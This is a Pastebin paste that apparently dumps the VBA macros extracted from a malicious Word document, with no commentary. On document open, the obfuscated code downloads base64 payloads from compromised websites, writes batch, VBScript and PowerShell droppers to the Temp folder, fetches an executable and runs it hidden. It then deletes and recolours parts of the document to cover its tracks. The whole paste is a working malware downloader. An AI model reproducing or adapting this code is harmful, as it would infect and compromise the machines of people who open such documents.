Guest User

Untitled

a guest
Apr 21st, 2015
421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.55 KB | None | 0 0
  1. File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Sub Auto_Open()
  2. jquwhidhuiqwd
  3. End Sub
  4. Sub jquwhidhuiqwd()
  5. Dim huwe, auwd As Integer
  6. Dim retVal As Variant
  7. HUWQD = Module3.Jjkidw(20000)
  8. FL2 = "" & HUWQD
  9. HPPSDJ = "Temp"
  10. PH2 = Module3.Bad("" & HPPSDJ) + "\"
  11. NDUWGD = "461237618273612"
  12.  
  13. HYWDAX = "baaslkdjklwqdjkqwhdjqhwjkdqt"
  14. JWIDJIAAA = Chr(97 + Sgn(5)) + "a"
  15. HUYFEA = JWIDJIAAA + Right(HYWDAX, 1)
  16. WKDOQ = NDUWGD
  17. PSFL = FL2 + "" & "." + "p" + "" + Chr(Asc("s")) _
  18. + _
  19. "1"
  20. VBFL = FL2 + Chr(50 - 4) + "v" + "b" & "" & "s" & ""
  21. huwe = 1
  22. BAFL = FL2 + Chr(Sgn(-22) + 11 + 10 + 25 + huwe + 0) + HUYFEA
  23.  
  24. INTG = "o" & "bject"
  25. AFTG = "module"
  26.  
  27. SXE = "" & Chr(Asc(".")) & Chr(101) & "xe" & ""
  28. GNG = ".png"
  29.  
  30. PHT = "" & "htt" & "p://" & ""
  31. SPIC = PHT + "sav" & "epic.su/"
  32.  
  33. PSPTH = PH2 + PSFL
  34. VBPTH = PH2 + VBFL
  35. BAPTH = PH2 + BAFL
  36.  
  37. DRT = FreeFile
  38. BFT = FreeFile
  39. CFT = FreeFile
  40. DFT = FreeFile
  41. EFT = FreeFile
  42.  
  43. PBIN = PHT + "andyberteyn.be/w" & "p-content/themes/twentytwelve/1623782.txt"
  44.  
  45. Dim obg, obg4 As Object
  46. Dim asdwq As String
  47. Set obg = _
  48. CreateObject("MSXML2.ServerXMLHTTP")
  49. obg.Open "GET", PBIN
  50. obg.Send ""
  51. CONT = obg.ResponseText
  52. asdwq = CONT
  53.  
  54. HQUWDAAA = "0"
  55. If (asdwq = "") Then
  56. PBIN = PHT + "al-balsam.com/tmp/1623782.txt"
  57. Set obg4 = _
  58. CreateObject("MSXML2.ServerXMLHTTP")
  59. obg4.Open "GET", PBIN
  60. obg4.Send ""
  61. CONT = obg.ResponseText
  62. asdwq = CONT
  63. HQUWDAAA = "1"
  64. End If
  65.  
  66. CONT = Module3.Decode(asdwq)
  67.  
  68. TVT10 = Module3.Tort(CONT, "text10")
  69. TVT20 = Module3.Tort(CONT, "text20")
  70. TVT21 = Module3.Tort(CONT, "text21")
  71. TVT30 = Module3.Tort(CONT, "text30")
  72. TVT31 = Module3.Tort(CONT, "text31")
  73. XPT1 = Module3.Tort(CONT, "stext1")
  74. XPT2 = Module3.Tort(CONT, "stext2")
  75. XPT3 = Module3.Tort(CONT, "stext3")
  76.  
  77. WVR = Module3.Bad("USE" & "RPROFILE")
  78. post1 = InStr(WVR, "sers\")
  79.  
  80. Dim hudhw As Integer
  81. Dim ghdAdd(1 To 3)
  82. ghdAdd(1) = "1"
  83. ghdAdd(2) = "0"
  84. ghdAdd(3) = "0"
  85.  
  86. If (post1 <> 0) Then
  87. ghdAdd(1) = "2"
  88. Else
  89. ghdAdd(2) = "3"
  90. End If
  91.  
  92. JHWQUD = Join(ghdAdd)
  93. hudhw = Val(JHWQUD)
  94.  
  95. Module3.WaitFor (1)
  96.  
  97.  
  98. Dim obg2 As Object
  99. Set obg2 = _
  100. CreateObject("MSXML2.ServerXMLHTTP")
  101. MIWDWQ = "http://andyberteyn.be/w" & "p-content/themes/twentytwelve/lns.txt"
  102. If (HQUWDAAA = "1") Then
  103. MIWDWQ = "http://al-balsam.com/tmp/lns.txt"
  104. End If
  105. obg2.Open "GET", MIWDWQ
  106. obg2.Send ""
  107. SEXX = obg2.ResponseText
  108.  
  109. PSTB = PBIN + "123123123"
  110. STAR1 = SPIC + "5577987" + GNG
  111. STAR2 = SPIC + "5574915" + GNG
  112. FFQ = "8"
  113. FF = FFQ + SXE
  114.  
  115.  
  116. If (hudhw = 130) Then
  117. Open BAPTH For Output As #DRT
  118. Print #DRT, XPT1
  119. Print #DRT, "set trfd=" + Chr(34) + PH2 + Chr(34)
  120. Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
  121. Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
  122. Print #DRT, XPT2
  123. Close #DRT
  124.  
  125. Module3.WaitFor (1)
  126.  
  127. Open VBPTH For Output As #BFT
  128. Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
  129. Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
  130. Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
  131. Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
  132. Print #BFT, XPT3
  133. Close #BFT
  134.  
  135. Module3.WaitFor (1)
  136. NTH1 = Module3.Freat(retVal, BAPTH)
  137.  
  138. End If
  139.  
  140.  
  141. If (hudhw = 200) Then
  142. Open PSPTH For Output As #CFT
  143. Print #CFT, "$aisjd = '123';"
  144. Print #CFT, "$asaisjd = '34123';"
  145. Print #CFT, "$stat = '" + STAR2 + "';"
  146. Print #CFT, "$ggtt = '" + SEXX + "';"
  147. Print #CFT, "$pths = '" + PH2 + "';"
  148. Print #CFT, "$wehs = '" + FL2 + "';"
  149. Print #CFT, "$nnm = '" + FFQ + "';"
  150. Print #CFT, TVT10
  151. Close #CFT
  152.  
  153. Open VBPTH For Output As #DFT
  154. Print #DFT, TVT30
  155. Print #DFT, "currentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&djwq"
  156. Print #DFT, TVT31
  157. Close #DFT
  158.  
  159. Open BAPTH For Output As #EFT
  160. Print #EFT, "@echo off"
  161. Print #EFT, TVT20
  162. Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
  163. Print #EFT, "set Gds4=" + Chr(34) + PH2 + Chr(34) + "%Ads3%"
  164. Print #EFT, TVT21
  165. Close #EFT
  166. Module3.WaitFor (1)
  167.  
  168. NTH2 = Module3.Freat(retVal, BAPTH)
  169.  
  170. End If
  171.  
  172. JUW = Chr(47)
  173. AKK = Chr(60)
  174. ZKK = ">"
  175. NTH3 = Module5.Nybdqwd(AKK + INTG + ZKK, AKK & JUW + INTG + ZKK, 1)
  176. NTH4 = Module5.Nybdqwd(AKK + AFTG + ZKK, AKK + JUW + AFTG + ZKK, 2)
  177. NTH5 = Module5.Nybdqwd(AKK + INTG + ZKK, "", 3)
  178. NTH6 = Module5.Nybdqwd(AKK + JUW + INTG + ZKK, "", 3)
  179. NTH7 = Module5.Nybdqwd(AKK + AFTG + ZKK, "", 3)
  180. NTH8 = Module5.Nybdqwd(AKK + JUW + AFTG + ZKK, "", 3)
  181.  
  182. End Sub
  183. Sub AutoOpen()
  184. Auto_Open
  185. End Sub
  186. Sub Workbook_Open()
  187. Auto_Open
  188. End Sub"
  189. File "Module3.bas" (Streampath: "Macros/VBA/Module3") has code: "Public Function Jjkidw(a As Integer)
  190. Jjkidw = CStr(Int((a * Rnd) + 10000))
  191. End Function
  192.  
  193. Sub WaitFor(NumOfSeconds As Long)
  194. Dim SngSec As Long
  195. SngSec = Timer + NumOfSeconds
  196. Do While Timer < SngSec
  197. DoEvents
  198. Loop
  199. End Sub
  200. Public Function Freat(a As Variant, b)
  201. a = _
  202. Shell(b, 0)
  203. Freat = a
  204. End Function
  205.  
  206. Public Function Tort(a, b As String)
  207. Dim krd, lent As Integer
  208. krd = InStr(1, a, "<" + b + ">") + 8
  209. lent = InStr(1, a, "<" + "/" + b + ">") - krd
  210. KLMN = Mid(a, krd, lent)
  211. AUHWUD = KLMN
  212. Tort = AUHWUD
  213. End Function
  214. Public Function Dtgt(a As String)
  215. Quick = GetObject(a)
  216. End Function
  217.  
  218. Public Function Quick(a As String)
  219. Quick = GetObject(a)
  220. End Function
  221.  
  222. Public Function Bad(a As String)
  223. Bad = _
  224. Environ(a)
  225. End Function
  226.  
  227.  
  228. Public Function Decode(ByVal strData As String) As String
  229. Dim objXML As Object
  230. Dim objNode As Object
  231. Set objXML = CreateObject("MSXML2.DOMDocument")
  232. Set objNode = objXML.createElement("b64")
  233. objNode.DataType = "bin.base64"
  234. objNode.Text = strData
  235. WUDHA = objNode.nodeTypedValue
  236. Decode = WUDHA
  237. Set objNode = Nothing
  238. Set objXML = Nothing
  239. End Function"
  240. File "Module5.bas" (Streampath: "Macros/VBA/Module5") has code: "Public Function Nybdqwd(a As String, b As String, c As Integer)
  241. Dim selectedText As String
  242. Dim hhhg, selRange As Range
  243. Set hhhg = ActiveDocument.Range
  244. With hhhg.Find
  245. .Text = a
  246. .MatchWholeWord = True
  247. hhhg.Find.Execute
  248. hhhg.Collapse direction:=wdCollapseEnd
  249. NYQDIAYGDH = "jk h32h 4hg32j4f 23f4 hg2f3h4j32f43 21ghh21fj 3g1"
  250. Set selRange = ActiveDocument.Range
  251. QUDHDHGJDWK = "h21 kj3hkj12g3 hj12g3jh1f2 3ghf12 3jh12g3f 12hf3"
  252. selRange.Start = hhhg.End
  253. .Text = b
  254. .MatchWholeWord = True
  255. .Execute
  256. hhhg.Collapse direction:=wdCollapseStart
  257. selRange.End = hhhg.Start
  258. If (c = 1) Then
  259. selectedText = selRange.Delete
  260. End If
  261. If (c = 2) Then
  262. selRange.Font.Color = wdColorBlack
  263. End If
  264. If (c = 3) Then
  265. With hhhg.Find
  266. .Text = a
  267. .Replacement.Text = Chr(30 + 2)
  268. .Wrap = wdFindContinue
  269. .Execute Replace:=wdReplaceAll
  270. End With
  271. End If
  272.  
  273. End With
  274. End Function"
Add Comment
Please, Sign In to add comment